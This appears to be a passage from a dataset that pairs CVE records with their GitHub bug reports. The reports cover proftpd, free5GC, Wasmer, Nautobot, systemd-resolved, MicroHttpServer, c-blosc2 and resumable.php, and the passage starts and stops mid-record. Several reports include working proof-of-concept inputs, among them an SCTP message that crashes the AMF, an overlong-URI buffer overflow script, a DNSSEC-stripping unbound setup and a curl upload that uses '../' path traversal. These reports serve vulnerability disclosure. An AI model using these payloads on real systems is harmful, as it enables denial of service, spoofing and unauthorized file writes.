configure '--enable-devel=nodaemon:nofork' 'CC=cc' 'CFLAGS=-fsanitize=address,undefined -g' 'LDFLAGS=-fsanitize=address,undefined'
CFLAGS: -g2 -fsanitize=address,undefined -g -Wall -fno-omit-frame-pointer -fno-strict-aliasing -Wdangling-else -Wextra -Werror=implicit-function-declaration -Winit-self -Wno-missing-field-initializers -Wno-unused-parameter -Wnull-derefere
nce -fdelete-null-pointer-checks -DPR_DEVEL_NO_FORK -DPR_DEVEL_NO_DAEMON -g3 -O0 -Wcast-align -Wchar-subscripts -Winline -Wstrict-prototypes -Wmissing-declarations -Wnested-externs -Wpointer-arith -Wshadow -Wundef -Wcomment -Wdangling-else
-Wdeclaration-after-statement -Wduplicated-branches -Wfloat-equal -Wformat -Wformat-security -Wimplicit-function-declaration -Wmaybe-uninitialized -Wmissing-braces -Wparentheses -Wpointer-to-int-cast -Wreturn-local-addr -Wstack-protector -W
strict-overflow -Wswitch -Wunreachable-code -Wunused-variable -fstack-protector -fstack-protector-all -fno-common
LDFLAGS: -Wl,-L$(top_srcdir)/lib,-L$(top_builddir)/lib -fsanitize=address,undefined -rdynamic
LIBS: -lcap -lidn2 -lcrypt
Files:
Configuration File:
/usr/local/etc/proftpd.conf
Pid File:
/usr/local/var/proftpd.pid
Scoreboard File:
/usr/local/var/proftpd.scoreboard
Info:
+ Max supported UID: 4294967295
+ Max supported GID: 4294967295
Features:
- Autoshadow support
- Controls support
+ curses support
+ Developer support
- DSO support
+ IPv6 support
+ Largefile support
- Lastlog support
- Memcache support
+ ncurses support
- NLS support
- OpenSSL support
- PCRE support
- PCRE2 support
- POSIX ACL support
- Redis support
+ Sendfile support
+ Shadow file support
- Sodium support
+ Trace support
+ xattr support
Tunable Options:
PR_TUNABLE_BUFFER_SIZE = 1024
PR_TUNABLE_DEFAULT_RCVBUFSZ = 8192
PR_TUNABLE_DEFAULT_SNDBUFSZ = 8192
PR_TUNABLE_ENV_MAX = 2048
PR_TUNABLE_GLOBBING_MAX_MATCHES = 100000
PR_TUNABLE_GLOBBING_MAX_RECURSION = 8
PR_TUNABLE_HASH_TABLE_SIZE = 40
PR_TUNABLE_LOGIN_MAX = 256
PR_TUNABLE_NEW_POOL_SIZE = 512
PR_TUNABLE_PATH_MAX = 4096
PR_TUNABLE_SCOREBOARD_BUFFER_SIZE = 80
PR_TUNABLE_SCOREBOARD_SCRUB_TIMER = 30
PR_TUNABLE_SELECT_TIMEOUT = 30
PR_TUNABLE_TIMEOUTIDENT = 10
PR_TUNABLE_TIMEOUTIDLE = 600
PR_TUNABLE_TIMEOUTLINGER = 10
PR_TUNABLE_TIMEOUTLOGIN = 300
PR_TUNABLE_TIMEOUTNOXFER = 300
PR_TUNABLE_TIMEOUTSTALLED = 3600
PR_TUNABLE_XFER_SCOREBOARD_UPDATES = 10
```
In addition, we need to see **all** of the ProFTPD configuration files you are
using (**minus** any sensitive information like passwords, of course). Armed
with the version and configuration data, then, we can set up ProFTPD locally
using the same configuration, and see what happens.
Config and input are provided in the archive below
[data.tar.gz](https://github.com/proftpd/proftpd/files/11660286/data.tar.gz)
| Out-of-bounds buffer read when handling FTP commands | https://api.github.com/repos/proftpd/proftpd/issues/1683/comments | 16 | 2023-06-06T05:37:54Z | 2023-09-10T17:25:08Z | https://github.com/proftpd/proftpd/issues/1683 | 1,743,120,578 | 1,683 | 5,846 |
CVE-2023-49391 | 2023-12-22T11:15:07.517 | An issue was discovered in free5GC version 3.3.0, allows remote attackers to execute arbitrary code and cause a denial of service (DoS) on AMF component via crafted NGAP message. | {
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] | github.com | [
"free5gc",
"free5gc"
] | ## Describe the bug
When testing the free5gc AMF, it always crashes when receiving invalid NGAP messages.
## To Reproduce
Steps to reproduce the behavior:
1. Use https://github.com/free5gc/free5gc-compose as the test target
2. Start it with command `docker compose up`
3. Find the amf address with command `docker inspect free5gc-compose_privnet`
4. Run this POC python script: `python3 free5gc.py amf-address`
```python
import sys, sctp, socket
if len(sys.argv) != 2:
print("Usage: free5gc.py server-address")
exit(0)
sk = sctp.sctpsocket_tcp(socket.AF_INET)
sk.connect((sys.argv[1], 38412))
sk.sctp_send(b"Hello!", ppid=socket.htonl(60))
sk.close()
```
## Expected behavior
I think the expected behavior is rejecting the connection request. The current behavior is that the AMF crashes and unable to restart. This could cause DOS attack to the AMF funtionality.
When receiving NGAP message, it should validate the message content and reject malformed messages.
## Screenshots
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 20.04 Server
- Kernel version: 5.4.0-165-generic
## Trace File
### Configuration File
Use the default config file of free5gc-compose
### PCAP File
[ngap.zip](https://github.com/free5gc/free5gc/files/13163030/ngap.zip)
### Log File
```text
n3iwf | free5GC version: v3.3.0
n3iwf | build time: 2023-06-08T16:41:03Z
n3iwf | commit hash: 22988ee2
n3iwf | commit time: 2023-06-07T05:56:10Z
n3iwf | go version: go1.17.13 linux/amd64
n3iwf | 2023-10-25T07:44:00.771477845Z [INFO][N3IWF][CFG] Read config from [./config/n3iwfcfg.yaml]
n3iwf | 2023-10-25T07:44:00.774585151Z [INFO][N3IWF][Main] Log enable is set to [true]
n3iwf | 2023-10-25T07:44:00.775936035Z [INFO][N3IWF][Main] Log level is set to [info]
n3iwf | 2023-10-25T07:44:00.775944386Z [INFO][N3IWF][Main] Report Caller is set to [false]
n3iwf | 2023-10-25T07:44:00.775946917Z [INFO][N3IWF][Init] Server started
n3iwf | 2023-10-25T07:44:00.783345437Z [WARN][N3IWF][CTX] Parse PKCS8 private key failed: x509: failed to parse private key (use ParsePKCS1PrivateKey instead for this key format)
n3iwf | 2023-10-25T07:44:00.787204900Z [INFO][N3IWF][CTX] Parse using PKCS1...
n3iwf | 2023-10-25T07:44:00.802363531Z [WARN][N3IWF][Init] netlink.RouteAdd: file exists
n3iwf | 2023-10-25T07:44:00.802403761Z [INFO][N3IWF][Init] Setup XFRM interface xfrmi-default
amf | 2023-10-25T07:44:00.806365569Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: 10.100.200.13/10.0.0.1:39401
n3iwf | 2023-10-25T07:44:00.823230904Z [INFO][N3IWF][NGAP] [N3IWF] Send NG Setup Request
n3iwf | 2023-10-25T07:44:00.838772233Z [INFO][N3IWF][Init] NGAP service running.
amf | 2023-10-25T07:44:00.833948377Z [INFO][AMF][Ngap] Create a new NG connection for: 10.100.200.13/10.0.0.1:39401
amf | 2023-10-25T07:44:00.851111321Z [INFO][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Handle NGSetupRequest
amf | 2023-10-25T07:44:00.851129648Z [WARN][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Missing IE PagingDRX
amf | 2023-10-25T07:44:00.851147752Z [INFO][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Send NG-Setup response
n3iwf | 2023-10-25T07:44:00.854214403Z [INFO][N3IWF][Init] NAS TCP server successfully started.
n3iwf | 2023-10-25T07:44:00.868424664Z [INFO][N3IWF][Init] Listening NWu user plane traffic
n3iwf | 2023-10-25T07:44:00.880093826Z [INFO][N3IWF][NGAP] [N3IWF] Handle NG Setup Response
n3iwf | 2023-10-25T07:44:00.895830913Z [INFO][N3IWF][Init] IKE service running.
n3iwf | 2023-10-25T07:44:00.896054523Z [INFO][N3IWF][Init] N3IWF running...
webui | 2023-10-25T07:44:20.644588072Z [ERRO][WEBUI][CTX] RestfulAPIGetMany err: server selection error: context deadline exceeded, current topology: { Type: Unknown, Servers: [{ Addr: db:27017, Type: Unknown, Last error: connection() error occured during connection handshake: dial tcp: lookup db on 127.0.0.11:53: server misbehaving }, ] }
amf | 2023-10-25T07:44:24.920922234Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: <nil>
amf | 2023-10-25T07:44:24.921416064Z [FATA][AMF][Ngap] panic: runtime error: invalid memory address or nil pointer dereference
amf | goroutine 65 [running]:
amf | runtime/debug.Stack()
amf | /usr/local/go/src/runtime/debug/stack.go:24 +0x65
amf | github.com/free5gc/amf/internal/ngap/service.handleConnection.func1()
amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:184 +0x58
amf | panic({0xbb3280, 0x13088a0})
amf | /usr/local/go/src/runtime/panic.go:1038 +0x215
amf | github.com/free5gc/amf/internal/ngap.Dispatch({0xdf2988, 0xc000472000}, {0xc0008c0000, 0x40000, 0x40000})
amf | /go/src/free5gc/NFs/amf/internal/ngap/dispatcher.go:19 +0xac
amf | github.com/free5gc/amf/internal/ngap/service.handleConnection(0xc000472000, 0x40000, {0xd03d48, 0xd03d58, 0xd03d50})
amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:237 +0x417
amf | created by github.com/free5gc/amf/internal/ngap/service.listenAndServe
amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:158 +0x9fe
```
## System architecture (Option)
N/A
## Walkthrough (Option)
free5GC will be interested on the research or finding in brief.
## Additional context
It will be appreciated if other context can be added here.
| [Bugs] AMF crashed when receving invalid NGAP messages | https://api.github.com/repos/free5gc/free5gc/issues/497/comments | 1 | 2023-10-25T08:11:58Z | 2023-12-04T09:48:25Z | https://github.com/free5gc/free5gc/issues/497 | 1,960,809,373 | 497 | 5,847 |
CVE-2023-51661 | 2023-12-22T15:15:08.377 | Wasmer is a WebAssembly runtime that enables containers to run anywhere: from Desktop to the Cloud, Edge and even the browser. Wasm programs can access the filesystem outside of the sandbox. Service providers running untrusted Wasm code on Wasmer can unexpectedly expose the host filesystem. This vulnerability has been patched in version 4.2.4. | {
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] | github.com | [
"wasmerio",
"wasmer"
] | In wasmtime or other Wasm runtimes with WASI support, you have to explicit preopen a directory to have access to the host filesystem. With wasmer, it seems the cwd is opened by default.
For example, given this small Rust program:
```
fn main() {
let f = std::fs::OpenOptions::new()
.write(true)
.create_new(true)
.open("abc")
.unwrap();
}
```
Running it as `wasmer run test.wasm` will just create a file named `abc` in cwd. Is it possible to disable this behavior. I only want host fs access if I explicitly enable it.
The above program is compiled with `cargo build --target wasm32-wasi`.
| Running `*.wasm` files directly doesn't sandbox the filesystem | https://api.github.com/repos/wasmerio/wasmer/issues/4267/comments | 11 | 2023-10-21T20:33:09Z | 2023-12-12T13:02:21Z | https://github.com/wasmerio/wasmer/issues/4267 | 1,955,654,230 | 4,267 | 5,849 |
CVE-2023-51649 | 2023-12-22T17:15:10.197 | Nautobot is a Network Source of Truth and Network Automation Platform built as a web application atop the Django Python framework with a PostgreSQL or MySQL database. When submitting a Job to run via a Job Button, only the model-level `extras.run_job` permission is checked (i.e., does the user have permission to run Jobs in general). Object-level permissions (i.e., does the user have permission to run this specific Job?) are not enforced by the URL/view used in this case. A user with permissions to run even a single Job can actually run all configured JobButton Jobs. Fix will be available in Nautobot 1.6.8 and 2.1.0 | {
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"nautobot",
"nautobot"
] | <!--
NOTE: IF YOUR ISSUE DOES NOT FOLLOW THIS TEMPLATE, IT WILL BE CLOSED.
This form is only for reporting reproducible bugs. If you need assistance
with Nautobot installation, or if you have a general question, please start a
discussion instead: https://github.com/nautobot/nautobot/discussions
Please describe the environment in which you are running Nautobot. Be sure
that you are running an unmodified instance of the latest stable release
before submitting a bug report, and that any plugins have been disabled.
-->
### Environment
* Nautobot version (Docker tag too if applicable): 1.6.7
* Python version: 3.8
* Database platform, version:
* Middleware(s):
<!--
Describe in detail the exact steps that someone else can take to reproduce
this bug using the current stable release of Nautobot. Begin with the
creation of any necessary database objects and call out every operation
being performed explicitly. If reporting a bug in the REST API, be sure to
reconstruct the raw HTTP request(s) being made: Don't rely on a client
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### Steps to Reproduce
1 .Create permission for the group and apply a constraint to allow them to run a single job button.
2.
3.
<!-- What did you expect to happen? -->
### Expected Behavior
Just group have permission of single job and job-button, nothing else and still user can run all job-buttons. Expected to view and run just allowed job
<!-- What happened instead? -->
### Observed Behavior
Still user can run all job-buttons
| Job and job-button constraints permissions have not been applied | https://api.github.com/repos/nautobot/nautobot/issues/4988/comments | 2 | 2023-12-15T14:29:40Z | 2024-03-20T03:13:29Z | https://github.com/nautobot/nautobot/issues/4988 | 2,043,830,235 | 4,988 | 5,850 |
CVE-2023-7008 | 2023-12-23T13:15:07.573 | A vulnerability was found in systemd-resolved. This issue may allow systemd-resolved to accept records of DNSSEC-signed domains even when they have no signature, allowing man-in-the-middles (or the upstream DNS resolver) to manipulate records. | {
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"systemd",
"systemd"
] | ### systemd version the issue has been seen with
251.8-1-manjaro
### Used distribution
Manjaro
### Linux kernel version used
5.15.81-1-MANJARO
### CPU architectures issue was seen on
x86_64
### Component
systemd-resolved
### Expected behaviour you didn't see
When `DNSSEC=yes` is set and querying a DNSSEC-enabled domain, systemd-resolved should only accept records that are signed correctly.
### Unexpected behaviour you saw
systemd-resolved accepts records of DNSSEC-signed domains even when they have no signature, allowing man-in-the-middles (or the upstream DNS resolver) to manipulate records.
Please note that I have repeatedly tried to report this issue to the systemd-security mailing list. I sent a mail with the details and reproduction steps to the systemd-security address on Oct 6th, Oct 14th and Oct 22nd. I first received a reply on Oct 24th from Lennart Poettering, asking for some basic system information, which I provided on the same day. Then I received no further reply, so I sent the report one more time to systemd-security on Nov 7th. The next day Poettering replied to my previous mail, asking for a debug log, but not directly acknowledging the issue. I sent debug logs on Nov 10th and haven't heard back from anyone since then.
### Steps to reproduce the problem
The issue can be reproduced with an unbound server and a typetransparent local-zone to simulate an attacker modifying select records. `cloudflare.net` is used as an example domain since it is [signed and valid](https://dnssec-analyzer.verisignlabs.com/cloudflare.net). In this example, the DNS server is run on `192.168.1.1` and the systemd client has any address in the same /24 network.
unbound.conf:
```
server:
# Allow running unbound unprivileged
username: ""
use-syslog: no
chroot: ""
pidfile: ""
interface: 0.0.0.0
port: 10053
access-control: 192.168.1.1/24 allow
local-zone: www.cloudflare.net typetransparent
local-data: "www.cloudflare.net. 3600 IN A 1.2.3.4"
forward-zone:
name: .
forward-addr: 1.1.1.1
forward-addr: 1.0.0.1
forward-first: no
```
1. On the "attacker" machine, install unbound and run `unbound -d -v -c unbound.conf`.
2. On the machine running systemd-resolved, run `sudo systemd-resolve --set-dns 192.168.1.1:10053 --set-dnssec yes --interface enp0s3`. (Replace IP and interface name accordingly).
3. Run `resolvectl status` to confirm our DNS server is used and output contains `DNSSEC=yes/supported`.
4. Run `resolvectl query cloudflare.net` which should produce the correct reply and `Data is authenticated: yes`, confirming that the domain is DNSSEC-signed.
5. Run `resolvectl query www.cloudflare.net`:
```
$ resolvectl query www.cloudflare.net
www.cloudflare.net: 1.2.3.4 -- link: enp0s3
-- Information acquired via protocol DNS in 25.6ms.
-- Data is authenticated: no; Data was acquired via local or encrypted transport: no
-- Data from: network
```
systemd-resolved accepts the bogus response. Running `dig @127.0.0.53 www.cloudflare.net` also shows the status is `NOERROR`. When resolved is configured as system resolver (e.g. through `/etc/resolv.conf`), `curl -v http://www.cloudflare.net` tries to connect to `1.2.3.4`, showing that applications are successfully tricked with the manipulated record.
Note that resolved does state the data is unauthenticated and also does not set the AD bit when queried on `127.0.0.53`.
Repeat the test but replace `typetransparent` with `static` in the unbound configuration. In this case, resolved rejects the response as expected:
```
$ resolvectl query www.cloudflare.net
www.cloudflare.net: resolve call failed: DNSSEC validation failed: no-signature
```
(Note that due to another bug https://github.com/systemd/systemd/issues/24827, resolved will still reply with the records on `127.0.0.53`, but it has `status: SERVFAIL`, so applications generally won't use this answer)
The difference is that `static` replaces all data for the `www.cloudflare.net` domain, whereas `typetransparent` only replaces the A record(s). Both strip the RRSIG records from affected queries.
My knowledge on DNS isn't great, but as far as I know no unsigned record should be allowed anywhere under the zone cloudflare.net, unless there was an insecure delegation (NS record without corresponding DS record).
However, it appears only signatures of some types of records actually matter to resolved, for example the SOA record. The RRSIG signatures on A/AAAA (and probably more) records can simply be stripped and resolved will accept the data without ensuring its validity.
### Additional program output to the terminal or log subsystem illustrating the issue
```sh
systemd-resolved debug logs, including all output after running `resolvectl query www.cloudflare.net` are posted in this gist, separate for the typetransparent and the static test case: https://gist.github.com/AgentOak/11c64ff8701c4cd853d6b99382a40704
```
| resolved DNSSEC validation can be bypassed by MITM | https://api.github.com/repos/systemd/systemd/issues/25676/comments | 68 | 2022-12-08T12:34:18Z | 2024-01-18T12:42:52Z | https://github.com/systemd/systemd/issues/25676 | 1,484,544,284 | 25,676 | 5,851 |
CVE-2023-51771 | 2023-12-25T05:15:08.730 | In MicroHttpServer (aka Micro HTTP Server) through a8ab029, _ParseHeader in lib/server.c allows a one-byte recv buffer overflow via a long URI. | {
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] | github.com | [
"starnight",
"MicroHttpServer"
] | Hi again!
I discovered a second remote buffer overflow in the C version of MicroHttpServer (through commit a8ab029). This one is an off-by-one global buffer overflow in the function _ParseHeader lib/server.c, line 208:
https://github.com/starnight/MicroHttpServer/blob/a8ab029c9a26a4c9f26b9d8a2757b8299aaff120/c-version/lib/server.c#L208
The overflow happens at roughly 15330 bytes in the request URI when reading from the network socket. Similar to [issue 5](https://github.com/starnight/MicroHttpServer/issues/5), any server or embedded application that utilizes MicroHttpServer is potentially at risk of a Denial of Service or remote code execution, depending on the implementation. I've included reproduction steps in the following sections.
### Makefile Modifications
The following modifications were made to the Makefile to compile the server with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the global buffer overflow:
```
PROJ=microhttpserver
CC=gcc
INCLUDES=-Ilib
DEFS=-D_PARSE_SIGNAL_ -D_PARSE_SIGNAL_INT_ -DDEBUG_MSG -DENABLE_STATIC_FILE=1
CFLAGS=-Os -Wall -fsanitize=address -g
SRCS=main.c app.c lib/server.c lib/middleware.c
all:
$(CC) $(SRCS) $(INCLUDES) $(DEFS) $(CFLAGS) -o $(PROJ)
clean:
rm -rf *.out *.bin *.exe *.o *.a *.so *.list *.img test build $(PROJ)
```
### Proof of Concept Python3 Script
Save the following script to a file named poc.py:
```
#!/usr/bin/env python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8001))
sock.send(b"GET "+b"?"*20000+b"HTTP/1.1\r\nHost: localhost:8080\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: none\r\nSec-Fetch-User: ?1\r\n\r\n\r\n")
response = sock.recv(4096)
sock.close()
```
### Starting MicroHttpServer
```
$ ./microhttpserver
```
### Execute our Python3 Script
```
$ python3 poc.py
```
### Address Sanitizer Output
The following output is produced by address sanitizer, confirming the existence of the global buffer overflow:
```
Listening
Accept 1 client. 127.0.0.1:35914
Parse Header
Parse body
==64923==ERROR: AddressSanitizer: global-buffer-overflow on address 0x562a42525280 at pc 0x7f04c7e61c0e bp 0x7ffc20182f30 sp 0x7ffc201826f0
WRITE of size 1 at 0x562a42525280 thread T0
#0 0x7f04c7e61c0d in __interceptor_recv ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:6942
#1 0x562a42519ace in _ParseHeader lib/server.c:208
#2 0x562a4251a10d in _HTTPServerRequest lib/server.c:312
#3 0x562a4251a4e8 in HTTPServerRun lib/server.c:350
#4 0x562a425183c9 in main /home/kali/projects/fuzzing/MicroHttpServer/c-version/main.c:27
#5 0x7f04c7c456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#6 0x7f04c7c45784 in __libc_start_main_impl ../csu/libc-start.c:360
#7 0x562a42518460 in _start (/home/kali/projects/fuzzing/MicroHttpServer/c-version/microhttpserver+0x2460) (BuildId: 7a38294e12666b46f7a8a2489c7f70bad764ec62)
0x562a42525280 is located 32 bytes before global variable 'http_req' defined in 'lib/server.c:35:9' (0x562a425252a0) of size 4080
0x562a42525280 is located 0 bytes after global variable 'req_buf' defined in 'lib/server.c:36:9' (0x562a42521680) of size 15360
SUMMARY: AddressSanitizer: global-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:6942 in __interceptor_recv
Shadow bytes around the buggy address:
0x562a42525000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x562a42525280:[f9]f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x562a42525500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==64923==ABORTING
```
### Impact
* [Remote Code Execution](https://www.cloudflare.com/learning/security/what-is-remote-code-execution/)
* [Denial of Service](https://attack.mitre.org/techniques/T0814/)
### Mitigation
A potential fix would be to modify the loop so it executes one less time than it currently does.
### global overflow vulnerability:
```
for(; n>0; i++) {
n = recv(clisock, p + i, 1, 0);
if(p[i] == ' ') {
p[i] = '\0';
break;
}
}
```
### This can be modified to prevent a buffer overflow:
```
for(; n>1; i++) {
n = recv(clisock, p + i, 1, 0);
if(p[i] == ' ') {
p[i] = '\0';
break;
}
}
```
### References
* [CWE-193 Off-by-one Error](https://cwe.mitre.org/data/definitions/193.html)
* [Buffer Overflow (CWE-121)](https://cwe.mitre.org/data/definitions/121.html)
* [OWASP Buffer Overflow Vulnerabilities](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow)
* [Address Sanitizer](https://github.com/google/sanitizers/wiki/AddressSanitizer) | Remote buffer overflow in lib/server.c | https://api.github.com/repos/starnight/MicroHttpServer/issues/8/comments | 0 | 2023-12-25T01:04:39Z | 2024-02-14T15:34:46Z | https://github.com/starnight/MicroHttpServer/issues/8 | 2,055,264,054 | 8 | 5,852 |
CVE-2023-37185 | 2023-12-25T07:15:08.793 | C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference via the function zfp_prec_decompress at zfp/blosc2-zfp.c. | {
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Null Pointer Dereferencing at line **391** in [plugins/codecs/zfp/blosc2-zfp.c](https://github.com/Blosc/c-blosc2/blob/86fc0f66aa6dd079dbf79d775dc9dc1462830ffd/plugins/codecs/zfp/blosc2-zfp.c#LL391C29-L391C29). This is caused due to using a pointer to a chunk which does not exist. This bug is in the function `zfp_prec_decompress`.
**To Reproduce**
Run the fuzzing harness `fuzz_decompress_chunk` with the attached input (in Zip File)
[null-ptr-1.zip](https://github.com/Blosc/c-blosc2/files/11807475/null-ptr-1.zip)
**Expected behavior**
Check whether the chunk is a correct pointer at line 390.
**Logs**
If applicable, add logs to help explain your problem.
**System information:**
- OS: Ubuntu 20.04
- Compiler: clang-11
- Version: Latest commit on `main` branch
**Additional context**
This bug has been found by fuzzing.
| Null Pointer Dereferencing bug in plugins/codecs/zfp/blosc2-zfp.c | https://api.github.com/repos/Blosc/c-blosc2/issues/519/comments | 0 | 2023-06-20T21:10:32Z | 2023-06-21T09:17:02Z | https://github.com/Blosc/c-blosc2/issues/519 | 1,766,176,337 | 519 | 5,853 |
CVE-2023-37186 | 2023-12-25T07:15:08.980 | C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference in ndlz/ndlz8x8.c via a NULL pointer to memset. | {
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Null Pointer Dereferencing at line 465 in [plugins/codecs/ndlz/ndlz8x8.c](https://github.com/Blosc/c-blosc2/blob/86fc0f66aa6dd079dbf79d775dc9dc1462830ffd/plugins/codecs/ndlz/ndlz8x8.c#LL465C5-L465C5). This is caused due to passing a null ptr to `memset`.
**To Reproduce**
Run the fuzzing harness in tests/fuzz `fuzz_decompress_chunk` with the attached input (in Zip File)
[null-ptr-4.zip](https://github.com/Blosc/c-blosc2/files/11807552/null-ptr-4.zip)
**Expected behavior**
**Logs**
If applicable, add logs to help explain your problem.
**System information:**
- OS: Ubuntu 20.04
- Compiler: clang-11
- Version: latest commit on `main` branch
**Additional context**
This bug has been found by fuzzing. | Null Pointer Dereferencing bug in plugins/codecs/ndlz/ndlz8x8.c | https://api.github.com/repos/Blosc/c-blosc2/issues/522/comments | 0 | 2023-06-20T21:22:07Z | 2023-06-21T09:17:58Z | https://github.com/Blosc/c-blosc2/issues/522 | 1,766,209,904 | 522 | 5,854 |
CVE-2023-37187 | 2023-12-25T07:15:09.183 | C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference via the zfp/blosc2-zfp.c zfp_acc_decompress. function. | {
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Null Pointer Dereferencing at line **152** in [plugins/codecs/zfp/blosc2-zfp.c](https://github.com/Blosc/c-blosc2/blob/86fc0f66aa6dd079dbf79d775dc9dc1462830ffd/plugins/codecs/zfp/blosc2-zfp.c#LL152C19-L152C19). This is caused due to using a pointer to a chunk which does not exist. This bug is in function `zfp_acc_decompress`.
**To Reproduce**
Run the fuzzing harness `fuzz_decompress_chunk` with the attached input (in Zip File)
[null-ptr-2.zip](https://github.com/Blosc/c-blosc2/files/11807486/null-ptr-2.zip)
**Expected behavior**
Check whether the chunk is a correct pointer at line 151.
**Logs**
If applicable, add logs to help explain your problem.
**System information:**
- OS: Ubuntu 20.04
- Compiler: clang-11
- Version: Latest commit on `main` branch
**Additional context**
This bug has been found by fuzzing. | Null Pointer Dereferencing bug in plugins/codecs/zfp/blosc2-zfp.c | https://api.github.com/repos/Blosc/c-blosc2/issues/520/comments | 0 | 2023-06-20T21:11:25Z | 2023-06-21T09:17:12Z | https://github.com/Blosc/c-blosc2/issues/520 | 1,766,179,764 | 520 | 5,855 |
CVE-2023-37188 | 2023-12-25T07:15:09.347 | C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference via the function zfp_rate_decompress at zfp/blosc2-zfp.c. | {
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] | github.com | [
"Blosc",
"c-blosc2"
] | **Describe the bug**
Null Pointer Dereferencing at line **641** in [plugins/codecs/zfp/blosc2-zfp.c](https://github.com/Blosc/c-blosc2/blob/86fc0f66aa6dd079dbf79d775dc9dc1462830ffd/plugins/codecs/zfp/blosc2-zfp.c#L641). This is caused due to using a pointer to a chunk which does not exist. This bug is in function `zfp_rate_decompress`.
**To Reproduce**
Run the fuzzing harness in tests/fuzz `fuzz_decompress_chunk` with the attached input (in Zip File)
[null-ptr-3.zip](https://github.com/Blosc/c-blosc2/files/11807499/null-ptr-3.zip)
**Expected behavior**
Check whether the chunk is a correct pointer at line 640.
**Logs**
If applicable, add logs to help explain your problem.
**System information:**
- OS: Ubuntu 20.04
- Compiler: clang-11
- Version: Latest commit on `main` branch
**Additional context**
This bug has been found by fuzzing. | Null Pointer Dereferencing bug in plugins/codecs/zfp/blosc2-zfp.c | https://api.github.com/repos/Blosc/c-blosc2/issues/521/comments | 0 | 2023-06-20T21:13:30Z | 2023-06-21T09:17:20Z | https://github.com/Blosc/c-blosc2/issues/521 | 1,766,187,839 | 521 | 5,856 |
CVE-2023-52086 | 2023-12-26T18:15:09.030 | resumable.php (aka PHP backend for resumable.js) 0.1.4 before 3c6dbf5 allows arbitrary file upload anywhere in the filesystem via ../ in multipart/form-data content to upload.php. (File overwrite hasn't been possible with the code available in GitHub in recent years, however.) | {
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"dilab",
"resumable.php"
] | Hi @dilab
~~How can I contact you about the security vulnerability I found ?~~
Here is how to reproduce the vulnerability:
```
curl 'https://example.org/upload.php?resumableChunkNumber=1&resumableChunkSize=1048576&resumableCurrentChunkSize=80881&resumableTotalSize=80881&resumableType=&resumableIdentifier=80881-resumablejsmap&resumableFileCategory=default&resumableFilename=../test.txt&resumableRelativePath=../../test-hack.txt&resumableTotalChunks=1' \
-H 'content-type: multipart/form-data; boundary=----WebKitFormBoundaryBAX4owzrRwdmveis' \
--data-raw $'------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableChunkNumber"\r\n\r\n1\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableChunkSize"\r\n\r\n1048576\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableCurrentChunkSize"\r\n\r\n80881\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableTotalSize"\r\n\r\n80881\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableType"\r\n\r\n\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableIdentifier"\r\n\r\n80881-resumablejsmap\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableFileCategory"\r\n\r\ndefault\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableFilename"\r\n\r\n../../test-hack.txt\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; 